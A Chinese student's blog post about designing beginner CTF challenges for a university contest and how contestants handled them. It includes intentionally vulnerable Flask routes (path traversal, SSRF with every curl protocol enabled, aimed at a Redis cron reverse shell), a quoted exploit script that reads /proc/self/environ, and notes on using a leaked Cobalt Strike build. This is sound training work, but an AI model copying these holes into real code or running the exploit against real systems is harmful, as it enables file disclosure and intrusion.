阅读视图

发现新文章,点击刷新页面。
🔲 ⭐

记第一次为 CTF 比赛出题的经历和踩过的坑

起因

事情的起因是这样的,我们学校准备办一个什么IT科创嘉年华,然后想办一场名为“网安卫士”的比赛,所以理所应当地找到了我们学校的攻防工作室来出题,自然也就联系上了我

诶不是,有这等好事?那我当然要来掺和一脚嘛,顺带拉上了我们队的其他队员,我们一起为学校的比赛出题

筹备期

最开始告诉我们比赛的时间在 2025.4.25 - 2025.4.27,然后我们开了个在线文档就开始出题了,出题难度是这么跟我们说的

就是比 ADCTF 还要简单,要宝宝巴士难度,让我们弄一些能用常用工具一把梭的

但其实我已经有一些题目的雏形了,于是我先出了我的一道简单题

出题:Herta’s Voidterm

题目源码:https://github.com/GDUTMeow/Challenge-Hertas-Voidterm

这道题的玩法参考了 Hackergame 2024 的那个终端题(忘了叫啥了),我前些阵子把我网站的 404 页面换成了 Voidterm(随便访问一个不存在的页面你就能看到了),然后我当时在我的这个终端里面塞了 3+1 个 flag(原来是 3 个,后面加了一个),我想把这个拿来出题,于是就有了 MISC 题:Herta’s Voidterm

这道题目分成了三部分,我先把题目描述放在下面

你发现你一不小心获取到了黑塔女士的终端权限,于是你决定寻找一下黑塔女士的小秘密~

  • 据说环境中好像有什么不一样的东西?
  • 终端里面好像有个网址无法访问?
  • 好像有一张奇怪的图片诶?!

因为一开始就说了是宝宝巴士的难度,所以我第一个题目做的是 env 访问环境变量的解题方式,直接输入 env 查看环境变量就能看到 flag 了

这题我自认为确实是宝宝巴士难度,而且我给的提示够明显了

在考虑 flag 的内容的时候,我最开始想到的是小黑塔跟大黑塔编入同一队伍时会有的那个语音

小黑塔:黑塔女士举世无双,黑塔女士聪明绝顶,黑塔女士沉鱼落雁

然后我去搜了这个语音的英语原文,为

Herta: Madam Herta is a peerless gem. Madam Herta is an unrivalled genius. Madam Herta is an inimitable beauty.

然后简单 Leet 一下就有了第一个 flag

接着就开始考虑第二题,之前出那个自己网站上 +1 的题目的时候就想到了之前在 BaseCTF 上做过一道题目,给了一个域名但是无法访问,它那个题目把 flag 丢在了 txt 记录里面

所以我也学着做这样的一个题目,我把第二题的 flag 丢在了我的某个子域名上,然后把这个域名丢到了我这个模拟终端的 /etc/hosts 里面,于是你可以看到提示写的是 终端里面好像有个网址无法访问? ,使用 cat /etc/hosts 就能看到我这个域名了

1
100.100.100.100 th3-h3rt4.bili33.top

于是我就可以打成让参赛选手用 nslookup 或者 dig 查询域名来得到 flag 的方法

接着就来到了第三部分,既然是 MISC 题,肯定不能少了传统的隐写。而且之前大黑塔的 PV 里面有一个很可爱的 Chibi 黑塔

于是我就拿着这张图来做图片隐写,实现了一张图两用:修改高度和文件尾藏脏数据

又刚好在 ADCTF 做了 rkk 的 Black MIDI 那个题目,那个题目采用了 AES 的加密方式,于是我也想用 AES 的加密方式

所以我就把 key 和 iv 一个藏在文件尾,一个藏在 IHDR 高度爆破的底下,但是怎么给加密的数据呢?于是我想到了可以直接在第一题的 env 里面塞,然后我又把加密后的内容放在了 env 里面名为 SECRET 的变量中,细心的参赛选手一定能解出来吧 (*^▽^*)

消息不同步

本来我们商定的比赛时间是 2025.4.25 - 2025.4.27,是四人团队赛,结果发推文的时候跟我说变成两周了???(WTF两周还打什么团队赛啊),于是我们决定提升产能并上难度了

出题:Play CS with Me

题目相关附件:https://github.com/GDUTMeow/Challenge-Play-CS-with-Me

这题的灵感来源于西湖论剑的 CSCS,那个题目是 Cobalt Strike + Counter Strike 1.6,说实话我到现在都还没弄明白 ReHLDs 怎么用,但是不妨碍我出这类型的取证,我先把题目描述丢在下面

Luminoria 在看色图的时候电脑中招啦,黑客从他的电脑里面偷走了一些东西,请你找到黑客拿的东西吧(哦内该

  • 1、请你以木马的文件名(包括后缀)计算 md5 后,用 flag{} 包裹即为第一题的 flag
  • 2、请找到黑客拿走的日志文件,以其内容计算 md5 后,用 flag{} 包裹即为第二题的 flag
  • 3、请你找到 Luminroia 看的色图,色图即为 flag

如果黑客的木马文件名为 beacon.exe,则应该使用 beacon.exe 进行 md5 计算得到 c834b9aa0d91d8a309db78786b7e3a03,则这题的 flag 为 flag{c834b9aa0d91d8a309db78786b7e3a03}

假设从流量中提取到的文件为 abc.txt,里面的内容为

1
2
Hello World!!!
THIS IS AN EXAMPLE LOL

应该拿着此文件中的所有内容去计算 MD5,算得结果为 f9b80cd2e0116766a8729570cf036608,则包裹后为 flag{f9b80cd2e0116766a8729570cf036608} 即为本题的 flag

为了出这个取证,我先是去装了两台虚拟机(其实是装了一台,然后复制了),并且为了减少 Windows 系统自身的流量造成的干扰,我特意用了 Tiny11 来做这个题目的附件

然后我掏出了在我硬盘里吃灰的 Cobalt Strike,就开始出题了

本来我最开始的思路是只砍掉 ReHLDs 部分,所以我更换了 Cobalt Strike 的 key,结果我自己做的时候发现……

我!T!M!爆!不!出!来!私!钥!

那这宝宝巴士车更爆不出来了,所以我最后决定不更换这个 key,又因为我使用的 CS 是流传出来的一个版本,所以它的私钥是已知的,然后就省去了爆破的过程

1
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100a70991d69d816a601ffa80976473830f0d3b41276d2790401ddedb18e2d3cab3c315e3222325be42b65adb2878f33f5a03ff5010b23e842a510c1482ad6a42f1e7e5726eb31813e7437640ed7879955f401e172c34d3517241596dd41f8e48d3d1b1c288e6c8752ff65dc27acccba4ba9cd6d0e4de6196cea4da480d3b99d0ed020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Has known private key

当参赛选手用 1768.py 分析的时候,就会出现上面这里最后写的 Has known private key,用 -V 参数就可以提取出来,变相降低难度了

我最后想的攻击链路是这样的:

给肉鸡配置 SSLKEY 导出 -> 肉鸡打开wireshark开始抓包 -> 肉鸡开始访问我放在 Cloudflare R2 上的含有 flag 的图片 -> 关闭抓包和浏览器 -> 攻击机生成 Beacon -> 再次打开肉鸡的 Wireshark 抓 CS 流量 -> 将 Beacon 复制到肉鸡并运行 -> 攻击机发送命令,下载文件

然后我也这么做了,实际操作也没什么问题(出了操作的次序出了问题然后我 retry 了好几次)

就在我自己做的时候,我发现一个问题:我导出来的访问 flag 图片的数据包中过滤 http 没有我的 flag 图啊喂!

我一开始以为是 Cloudflare 的问题,换了 Github Pages 来抓,结果还是没有,结果一看协议统计

这东西是 HTTP/2.0 流量!!!

好吧,HTTP/2.0 对参赛选手不是不能做,只是过滤参数从 HTTP 变成了 HTTP2 而已

于是这题就理所应当地出来了(坏笑٩(•̤̀ᵕ•̤́๑)ᵒᵏᵎᵎᵎᵎ

我把这题丢上了文档,并标注了三个 HARD 难度,等待这题能够爆零然后新生赛复用,诶嘿~☆

群里猫娘趣事

很快我们发现 web 题太少了,于是我们打算出点 web 题目,这个时候看到队友 Ron 的题目没起名字,于是我给了他一张图

你可以在我的 Telegram 频道中找到这张图:https://t.me/PaffChannel/2138

不过他好像没用上 =-=

Web 题都是简单题

很快 web 题就出来很多了,但是都标的 ez

于是我们决定给 web 题上点难度

升旗

没错,那一周刚好轮到我们计算机学院升旗了,还是周一(周一满课,早八高数)……好吧,睡个觉去

出题:你真的懂 Base 嘛

此时我发现我们 Crypto 没有题目,于是我打算来出第一题

题目内容如下

为什么我的 Base 是乱码?好像说来自一个小蓝鸟公司?还与 2 的 11 次方有关?最后还可以一把梭?

题目源码:https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base

因为说了要宝宝巴士难度,所以我想到先来个 Base

但是只有 Base 也太太太太太简单了,所以我要来点好玩的

恰巧之前看过 Twitter 有个 Base2048,然后 Basecrack 可以一把梭,于是我就把这两个东西给结合起来,整了个两步梭的 Base 题目

我先把 flag 通过 Base62 -> Base64 -> Base58 -> Ascii85 -> Base92 -> Base32(就只要是不会让 BaseCrack 产生误判的方式都用上了),然后再套一个 Base2048,就完活啦!

出题:Data Cleaning

因为现在的 MISC 题目有点往取证、数据安全和 Web3 的趋势了,所以我也想来弄点数据安全的题目,于是就有了这道题

题目源码:https://github.com/GDUTMeow/Challenge-DataCleaning

你的上司交给你了一份名单,这份名单是公司里面所有人员的个人信息,包含了以下内容,且有规则

  • 序号
  • 姓名:不能包含数字、字母
  • 性别:只有男/女
  • 身份证号:按照身份证号的校验规则合法
  • 用户名:只包含字母和数字,数字不能作为开头
  • 密码:随机生成的,题目保证一定不包含 , ' " 三个符号
  • 签名:对于每个用户都有一个RSA证书,对应序号保存在cert文件夹中,使用此证书对 用户名_密码_身份证号 进行签名(签名传入的字符串中如规则所述用了下划线连接,使用的是最为常见的填充方式,可以搜搜 Cryptographic Token Information Format Standard

现在老板发现这份名单中有些问题(即不满足以上条件),请你把不符合条件的序号挑出来,用下划线从小到大连接

例如,不合法的序号有 114 514 1919,则应该连接为 114_514_1919

最后用连接后的字符串进行 md5 运算(小写,32位)后得到的结果,使用 flag{} 包裹后提交

这道题我是直接上网找出题脚本然后用 Deepseek 改了一下的,问就是我懒狗,然后第一次 Deepseek 给我改的是用的 MGF1,然后我们测题的时候就反映做不出来

那当然了,MGF1 的参数也太麻烦了

然后就回去找到对话,让 DS 给我改成了用 PKCS1_15,这样也好猜一点,就有了这一题,然后我又在签名那里加了 Cryptographic Token Information Format Standard 的提示

为了让宝宝巴士能够宝宝一点,我真是费尽了心思(擦汗

出题:登录 PRTS 1

普瑞赛斯(Priestess)在 Abyss 中封禁了刀客塔在 PRTS 中的账号,身为刀客塔的你要想尽一切办法获取 PRTS 的权限(但是一定要登录刀客塔的账号吗?

本题构建容器所需要的时间较长,请提前点击构建容器按钮!

  • 刀客塔的账号密码
    • Username: VFTS352
    • Password: 48399110
  • 不要在意网站壁纸,找不到好看的 PRTS 图了

题目源码:https://github.com/GDUTMeow/Challenge-Login-PRTS

这道题主要是因为明日方舟更新了第十五章,然后第十五章里面我们跟牢普操纵的 PRTS 来了一场酣的战斗,然后我就想用舟舟的这个出一个题目

恰好之前暑假参加山石的三天训练营的时候,我做的那一道 Web 题是在 Cookie 塞的目录穿越,然后我就想弄一个目录穿越,但是不太明显的那种

最开始我的设定是在 Cookie 中有个 user 字段,更改 user 字段来返回不同的文件,所以我的代码一开始是这样写的

1
2
3
4
5
@app.route("/api/get_avatar", methods=["GET"])
def avatar_handler():
cookie = request.cookies
username = cookie.get("user")
return send_file("static/img/" + username + ".png")

但是我发现了一个问题,就是这样的话会固定带 .png 文件后缀,如果我输入的是 ../../../../../../etc/passwd 的话,会变成返回 static/img/../../../../../../etc/password.png,这是有问题的

所以我最后只能改成参数给 filename,变相的变简单了一点

1
2
3
4
@app.route("/api/get_avatar")
def avatar_handler():
file = request.args.get("filename")
return send_file("static/img/" + file)

这样就有了这道题的第一问

出题:登录 PRTS 2

本来这题没想出第二问的,但是但是,上面说到群里说 Web 都是简单题,然后我就在这题的基础上上难度了

本来是想照搬 VNCTF 的思维导图的那个玩法的,但是我队友说建议放在新生赛,所以只好作罢

而刚好在 CCSSSC2025 的初赛,有一题叫 CachedVisitor,跟思维导图那个题有异曲同工之妙,都是利用了 SSRF + dict 协议的玩法,所以我就按照这个玩法来出了这个第二题,又因为 SSRF + dict 的打法一般都是 Redis 通过 cron 反弹 shell,所以我就按照这个思路来了

首先我又加了一个路由,可以实现 SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@app.route("/api/get_resource", methods=["POST"])
def resource_handler():
try:
data = request.get_json()
target_url = data.get("url")
resp = requests.get(url)
return jsonify(
{
"code": 200,
"success": True,
"data": {
"url": target_url,
"content": resp.text
}
}
)
except Exception as e:
return jsonify(
{
"code": 500,
"success": False,
"data": {
"url": target_url,
"content": resp.text
}
}
)

然后很快我就发现一个问题,requests 库不支持 dict:// 协议,而 httpx 库也是一样的

于是我就去看有没有什么现成的库能够实现 Python3 对 dict:// 协议的支持,但是找到的基本都是 Python2 的

这时,我突然想起了我们平时用的 curl,我在想这东西有没有可能支持 dict:// 协议,然后我试了一下,果然可以,于是我的目标就转向了 curl

最开始我是用 os.popen 来运行 curl 的,但是好像有点问题,它会带着 curl 的那个请求时间什么的信息出来

1
2
3
4
5
>>> os.popen("curl https://baidu.com").read()
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 161 100 161 0 0 482 0 --:--:-- --:--:-- --:--:-- 487
'<html>\n<head><title>302 Found</title></head>\n<body bgcolor="white">\n<center><h1>302 Found</h1></center>\n<hr><center>bfe/1.0.8.18</center>\n</body>\n</html>\n'

然后我还得自己手动处理,这会变得比较麻烦,后面查了一下发现有个 pycurl 库可以用

于是就有了第二版的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
@app.route("/api/get_resource", methods=["POST"])
def resource_handler():
try:
data = request.get_json()
target_url = data.get("url")

# 移除所有协议和端口限制
parsed = urllib.parse.urlparse(target_url)

buffer = BytesIO()
c = pycurl.Curl()

# 全协议支持配置
c.setopt(pycurl.URL, target_url.encode("utf-8"))
c.setopt(pycurl.WRITEDATA, buffer)
c.setopt(pycurl.PROTOCOLS, pycurl.PROTO_ALL) # 允许所有协议
c.setopt(pycurl.SSL_VERIFYPEER, 0)
c.setopt(pycurl.SSL_VERIFYHOST, 0)
c.setopt(pycurl.TIMEOUT, 15)
c.setopt(pycurl.FOLLOWLOCATION, 1) # 允许重定向
c.setopt(pycurl.MAXREDIRS, 5)

# 特殊协议处理
if parsed.scheme == "file":
c.setopt(pycurl.UNRESTRICTED_AUTH, 1) # 允许本地文件访问
c.setopt(pycurl.PATH_AS_IS, 1) # 保留路径格式

# 执行请求
c.perform()

# 获取原始响应
content = buffer.getvalue().decode("utf-8", errors="replace")
status_code = c.getinfo(pycurl.RESPONSE_CODE)

# 统一响应格式
return jsonify(
{
"code": status_code,
"success": 200 <= status_code < 400 or status_code == 0,
"data": {"url": target_url, "content": content},
}
)

except pycurl.error as e:
return jsonify(
{
"code": 500,
"success": False,
"data": {"url": target_url, "content": f"CURL Error: {e.args[1]}"},
}
)

except Exception as e:
return jsonify(
{
"code": 500,
"success": False,
"data": {"url": target_url, "content": str(e)},
}
)

finally:
if "c" in locals():
c.close()
buffer.close()

然后不出意外地就出意外了,file 协议有问题,然后我就把 file 单拎出来处理了(直接 open,read,返回)

最后完成了我的题目代码,进入了调试阶段

第一题还是很正常的,到了第二题我发现了一个问题

他喵的为什么我的 shell 反弹不出来啊喂!!!

然后我去搜了一下这个玩法大伙都是怎么玩的,看到了这么一条东西

没错,这个玩法要 CentOS,只有 CentOS 会忽略 crontab 文件里面的错误,挑出正确的来执行

那——好吧,我去换个系统不就完事了呗

这不换不要紧,一换就出事了

CentOS 停更了呀喂!!!

就导致了我 Dockerfile 最开头的 yum 根本就装不到依赖,找了一下得把镜像源的域名改成 vault.centos.org 才行

搞定了镜像源,又遇到了 Python 版本的问题,CentOS 预装 Python 3.6,这东西太老了,我的 Werkzeug==2.1.2 在 3.6 根本就装不上,然后我想的是那我就弄一个现场编译 Python 3.9 的呗,但是还是依赖问题,编译频频出错,直到我找到了有现成的

https://github.com/indygreg/python-build-standalone/releases/download/20230726/cpython-3.9.17+20230726-x86_64-unknown-linux-gnu-install_only.tar.gz

于是我直接从这里下载,然后创建软链接,才解决了 Python 的问题,测试了一下,这题终于出好了……嘛?

出题:Dino

到了我们要差不多上题测试的时间了,我们逐渐发现 Web 题没有最简单的那种题——F12 查看 flag,于是我又去弄了这一题

Dino

来玩经典的小恐龙吧!

题目源码:https://github.com/GDUTMeow/Challenge-Dino

这里我本来想用 2048 的,但是 2048 的 js 和 css 什么的太多了,而且整个 html 的代码量是偏大的,不适合宝宝巴士

然后我突然想起来谷歌小恐龙,于是就拿着小恐龙的代码出了这一题,简单的文本替换而已

出题:ez_traffic

流量分析很简单哦!

原题附件:https://github.com/GDUTMeow/Challenge-eztraffic

这题本来没想出的,但是群里面当时大伙这样说

然后我就出了一道宝宝 traffic,我直接在我的电脑上开了个 Python 的 http.server,然后用我上面 CS 那道题的虚拟机抓的包,用这台机子访问我的 http.server 然后下载我含有 flag 的图片就搞定了

出题:为什么要演奏春日影!

为什么要演奏春日影!

Luminoria 听了春日影这首歌后,决定将 Soyo 的金句用工具写进春日影中,来帮助修复 Soyo 的心理阴影(真的修复了吗

最后 Luminoria 决定使用一个跟深度求索公司具有同样开头 Deep 的一个工具来将金句写入到春日影这首歌中

Soyo: (冲向 Saki 酱,抓住她的手)「拜托了,求求你,要是没有 Saki 酱的话,我就…」

Saki:「放开我 」

Soyo:(跪下来求)「要我怎样做你才肯回来,只要是我能做的,我什么都愿意做 」

Saki:(不屑)「你是抱着多大的觉悟说出这样的话的?」

「你只不过是一个学生,有办法背负他人的人生吗?」

「“什么都愿意做”就是这么沉重的话。不要这么随便说出口。 」

Soyo:「但是,我真的…」

Saki:(甩开手)「你这个人,满脑子只会想到自己呢」(走开 )

Soyo:(跪在原地)

天空中下起了小雨,睦头人看着 Soyo,一言不发

这题是因为刚好在听春日影

        

而且发现 MISC 题目里面没有音频隐写,于是就出了这个题目

最开始本来想在频谱图里面塞 flag 的, 但是没有找到怎么在频谱图里面塞(经典会做题不会出题了),所以没办法

然后我尝试使用 MP3Stego 和 SlientEye,但是不知道为什么,我用 ffmpeg 转换出来的 wav 音频丢进这两个软件都无法识别是 wav 文件,不是少这个就是少那个

后来我就用 Deepsound 了,直接把 flag 文件塞进去就完事了

本来还想给 Deepsound 设置密码,但是我发现 wav 的备注无法在文件属性里面显示,所以只能不塞密码了,刚好也是宝宝巴士了

出题:Data Analysis

原题附件:https://github.com/GDUTMeow/Challenge-Data-Analysis

所有数据均为随机生成

校验规范

  • 编号:纯数字,最后应该从小到大排列
  • 用户名:由数字、字母组成
  • 密码:密码 hash 值为 32 位小写 md5 值
  • 姓名:由全中文组成
  • 性别:只能为 或者 ,且身份证号中代表性别的那一位要对应上
  • 出生日期:由 8 位数字组成,和身份证号中的出生日期码保持一致
  • 身份证号:应该符合国家对于身份证号的校验规则,本题中提供的身份证号均符合规则
  • 手机号码为 11 位 10 进制数字字符串,前三位的号段限定在以下的集合中
    • 734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799

题目要求

你应该将每一行都变成与表头相同的顺序排列,表头顺序为 编号, 用户名, 密码, 姓名, 性别, 出生日期, 身份证号, 手机号码,对应 number username password name gender birth id phone

例如,假设你拿到的数据为(下面数据为瞎编的)

1
2
3
4
编号,用户名,密码,姓名,性别,出生日期,身份证号,手机号码
Luminoria,79811451419,114514200002291919,20000229,小猪佩奇,1,男,e10adc3949ba59abbe56e057f20f883e
20050330,2,c4d038b4bed09fdb1471ef51ec3a32cd,7529876543,男,191981200503301155,刻晴,KeqingMoe

则最后你应该把数据变成这样

1
2
3
4
number,username,password,name,gender,birth,id,phone
1,Luminoria,e10adc3949ba59abbe56e057f20f883e,小猪佩奇,男,20000229,114514200002291919,79811451419
2,KeqingMoe,c4d038b4bed09fdb1471ef51ec3a32cd,刻晴,男,20050330,191981200503301155,7529876543

将数据以 UTF-8 编码方式保存后,确保最后含有一行空行,将文件内容进行 md5 运算,最后得到的值加上 flag{} 包裹即为最后的答案

注意

  • 你的换行应该使用 \n,你可以在调试的时候使用 print(repr(data)) 来确认这一点
  • 在你进行 md5 运算的文件内容中,最后有一个空行,就例如上面给你处理后的例子中,最后一行有一个空行
  • 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头

本来 DS 只有一道题目的,但是考虑到要每一批都至少有一个吧,所以就整多了两道 DS 的题目

这里的数据是用的 2024 羊城杯的数据(没办法它数据太好看了)

做法跟羊城杯的完全一致,出了没有验数据的平台和我把标头改了而已,因为一点不一样就会导致 md5 完全不一样,所以我对数据格式的要求也比较的严格

改了改就出了这道题目了

出题:Data from Log

原题附件:https://github.com/GDUTMeow/Challenge-Data-Analysis

所有数据均为随机生成

现在发生了一件很不幸的事情,数据库里面的数据丢失了,我们无法通过数据库来获取需要的内容,所幸的是,阿帕奇的 log 还在

题目要求

现在你需要做下面的这些事情

  • 首先,你得从日志中还原出各个用户输入的个人信息,他们包含了
    • 用户名:只能由字母和数字组成
      • 正确示例:adminLuminoriaKeqingMoeh3ll0World
      • 错误示例:ad_minZhang_san
    • 姓名:全中文
      • 正确示例:张三李四
      • 错误示例:z三李4
    • 身份证号:固定为 18 位,符合国家关于身份证的校验规则(本题不设置性别校验)
    • 手机号码:为 11 位数字字符串,其中前三位固定在下面的集合中
      • 734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799
    • 密码:由数字和字母组成,没有符号
  • 接着,你要对数据进行脱敏
    • 用户名:若只有两个字符则只对最后⼀位使⽤ * 号代替,否则只保留第⼀位和最后⼀位字符,其余都⽤ * 号代替,例如“ab”脱敏后就是“a”,“abcde”脱敏后就是“a**e”。
    • 密码:对明文密码进行 md5 计算,例如 123456 计算后为 e10adc3949ba59abbe56e057f20f883e
    • 名字:⼆字姓名对最后⼀位使⽤ * 号代替,三字即以上姓名除第⼀位和最后⼀位以外都使⽤ * 号代替, 例如 张三 脱敏后就是 张*王不⼆ 脱敏后就是 王*⼆
    • 身份证号:只保留年份,其余都使⽤ * 号代替,例如 172865199108200356 脱敏后就是 ******1991********
    • 手机号码:对 4-7 位的地区编码使⽤ * 号代替,例如 74580417166 脱敏后就是 745****7166
  • 最后,你应该将脱敏后的所有数据按照 username, password, name, idcard, phone 对应 用户名、密码、名字、身份证号、手机号码 的顺序,将所有数据按照 UTF8 编码方式保存,文件的最后应该有一行空行
  • 表头应该为 username,password,name,idcard,phone

注意

  • 你的换行应该使用 \n,你可以在调试的时候使用 print(repr(data)) 来确认这一点
  • 你进行 md5 运算的文件内容中,你需要注意不要忘掉首行的表头

这题也是 2024 羊城杯的数据,而且是原题,我改都没改,要求都跟羊城杯的一致

还是因为每一批都要有一题,所以拿过来直接用,当然因为我懒没有写数据校验平台,所以就……嗯

出题:Is It Really Secure??

还是因为每一批都要有一题,所以我打算给取证加多一题

原题附件:https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure

这题用的是 FTP,因为 FTP 具有明文传输的特性,所以其数据流很容易就能分析,而且也很容易拿到里面的文件

我先用我的服务器搭了一个 FTP 服务

1
$ docker run -d -v /home/gamernotitle/docker/vsftpd:/home/vsftpd -v /var/log/vsftpd/:/var/log/vsftpd/ -p 20:20 -p 21:21 -p 20000:20000 -e FTP_USER=Luminoria -e FTP_PASS=my-Str0ng_p@55w0Rd -e PASV_MIN_PORT=20000 -e PASV_MAX_PORT=20000 -e PASV_ADDRESS=192.168.88.128 -e LOG_STDOUT=1 --name vsftpd --restart=always fauria/vsftpd

这样就可以打开这个 ftp 服务,但是我用抓流量专用机(上面 CS 的机子)抓的时候,发现一直会弹连接被重置,但是这是内网,所以肯定不是我网络的问题

然后我尝试了一下 Filezilla,看到了更详细的内容,它推荐我使用 PASV_MODE 试试,于是我把 PASV_MODE 打开了,就可以了

然后就是正常的抓流量环节

这次为了与第一题进行区分,我还加了伪加密 zip 包

我把 flag 的二维码丢在了 zip 里面,然后用 010 Editor 更改了标头,让这个 zip 包进入伪加密的状态,把伪加密破了就能出 flag 了

修题:登录 PRTS 2

起因是群里 rkk 说有一个更简单的做法

sekaictf-2024 的 exp 是这样写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import threading
import socket
from urllib.parse import urlparse

paths = ["/etc/passwd", "/proc/self/environ", "/proc/self/fd/20"]
pat = "HOSTNAME="

t = []


def req(url):
parsed_url = urlparse(url)
hostname = parsed_url.hostname
path = parsed_url.path if parsed_url.path else "/"
query = parsed_url.query
port = parsed_url.port if parsed_url.port else 80

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((hostname, port))

request_line = f"GET {path}?{query} HTTP/1.1\r\n"
headers = f"Host: {hostname}\r\nConnection: close\r\n\r\n"
request = request_line + headers

client_socket.sendall(request.encode())

response = b""
while True:
part = client_socket.recv(4096)
if not part:
break
response += part

client_socket.close()

response_text = response.decode()
header_end = response_text.find("\r\n\r\n")
body = response_text[header_end + 4 :]

return body


def check(url):
res = req(url)

if pat in res:
print(res)


def et(payload):
while True:
try:
check("http://localhost:1337/?file=" + payload)
except Exception as e:
print(e)


for i in range(5):
for p in paths:
t.append(threading.Thread(target=et, args=(p,)))

for i in t:
i.start()

而我当时出题的时候没有注意 /proc 这个特殊目录的问题,所以导致直接请求读取 /proc/self/environ 就能够出第二题的 flag

甚至甚至,拿着第一题的目录穿越任意文件读取都能够得到 flag,那这就是非预期解了,所以我加入了更多的权限校验,例如如果有 /proc 就直接 403,还有对普瑞赛斯的身份进行校验(下面是一个小片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route("/api/get_resource", methods=["POST"])
def resource_handler():
token = request.cookies.get("token")
if not token:
return redirect("/login")
try:
jwt_data = jwt.decode(
token,
app.config["SECRET_KEY"],
algorithms=["HS256"],
options={"verify_aud": False},
)
if jwt_data.get("sub") != "priestess":
return make_response("Permission Denied", 403)
except jwt.ExpiredSignatureError:
response = redirect("/login")
response.set_cookie("token", "", expires=0)
return response
except jwt.InvalidTokenError:
response = redirect("/login")
response.set_cookie("token", "", expires=0)
return response
...
try:
if parsed.scheme == "file":
# 因为改用 CentOS 后 curl 的版本太低了没有 PATH_AS_IS 选项,所以这里进行手动处理
if "/proc" in parsed.path:
return jsonify(
{
"code": 403,
"success": False,
"data": {"url": target_url, "content": "Permission Denied"},
}
)
...

然后才把这个地方给堵上了

出题总结

怎么说呢,我真佩服我自己点子那么多

当然本次出题也出现了考虑不周全的问题,还有就是对环境不熟悉的问题(上面 CentOS 那个),不过这次出题确实出爽了,有简单的,也有难的

出题跟做题都是很有意思的事情,下次继续(诶嘿

现在就等比赛开始了,比赛打完了再来更下面吧

比赛中

这次比赛我们班其实有三个队伍,但是说实在的他们都比较小白,体现在什么方面呢?逆向没有 IDA,流量分析没有 Wireshark,就最基础的这些工具其实我们班的兄弟们也不知道,但是我是出题的我也不可能跟他们说这些东西

本次比赛的难度分级为 Easy < Normal < Hard < Expert < Master

第一批

第一批里面我的题是相对简单的,给了

  • [easy] 签个到吧(关注公众号发关键词,上面没写)
  • [easy] Dino(F12 看注释)
  • [easy] ez_traffic(wireshark 打开后直接导出 HTTP 文件)
  • [easy] 为什么要演奏春日影(Deepsound 提取文件)
  • [easy] 你真的懂 Base 嘛(Base 大杂烩)
  • [easy] Data Cleaning(数据清理,脚本题)

其中签到不必多说,Dino 也是上来就出了,这两个算比较简单的

其次是 ez_traffic 和 Data Cleaning,因为说实话,只要懂得处理拿到的文件就能够拿分,这两题,所以也是偏简单的

比较好玩的应该是春日影那个题,各种各样的 flag 都出来了

我承认你对本番的理解很到位,但是这不是正确答案 =-=

不过最令我惊奇的是 Base 大杂烩难倒了好多人,我原本的想法就是如果你去搜 Twitter Base 2048,很容易搜到 Base2048 这个东西,然后写一个简单的 Python 脚本先脱 2048 这一层

1
2
3
4
5
6
import base2048

with open("base.txt", "rt", encoding="utf8") as f:
data = f.read()
decoded_data = base2048.decode(data)
print(decoded_data.decode())

然后再去搜 Base 一把梭 搜到 Basecrack,直接就能够用 basecrack 解开这个大杂烩

但是好像我们的参赛选手好像不知道后面还有,认为解开 2048 出来的那串字符串就是 flag,然后就交上去了,所以就能看到这样的提交记录

到了大概 23:45 的时候,看着还是没人出,我就给了三个提示

💡提示1:将内容从乱码变成一串由 ASCII 字符组成的字符串后还有步骤,脱离不开题目名字,关注一下题目的最后一句话

💡提示2:当你解出来的内容是以 flag{ 开头的,那你就得到 flag 了

💡提示3:flag 是有意义的一句话

因为第二天要打蓝桥杯了(蓝桥的网安是屎,别报!信我!),所以我睡得比较早,早上起来一看已经有两个队伍做出来了,挺好的

第二批

第二批我给的题目有这些

  • [easy*2] [normal] Herta’s Voidterm
  • [normal] [hard] 登录 PRTS
  • [easy] Data Analysis
  • [easy] Is It Really Secure??

当我打完蓝桥杯的时候,登录 QQ 和微信发现群里有人艾特我,说 PRTS 题目出了问题

一看,发现是我忘记删掉注释了

好吧,重新弄了一下上线了……

我其实没太想到本次的 Herta’s Voidterm 能够难住不少人

第一问很简单,env 一下就出来了,这个没啥问题,但是第二问好像大伙都不知道域名还有 TXT 类型记录可以用来存内容

后面也是加了点提示

然后第三问因为我看到提交记录里面有交 AES 的向量的

于是我也给第三问来了点提示

说到简单题,还有一个简单题 Is It Really Secure??,我特意在 ftp 里面留了坑,我的 ftp 认证密码是 my-Str0ng_p@55w0Rd

然后真有队伍交了 flag{my-Str0ng_p@55w0Rd}

看来这坑没白埋 (*^▽^*)

当然,还有中第二个坑的

估计可能大伙不知道什么叫 ZIP 伪加密吧

不过这一部分最令我开心的应该是 PRTS 有人做,而且有人出(虽然只出了第一题)

然后有个哥们想复杂了

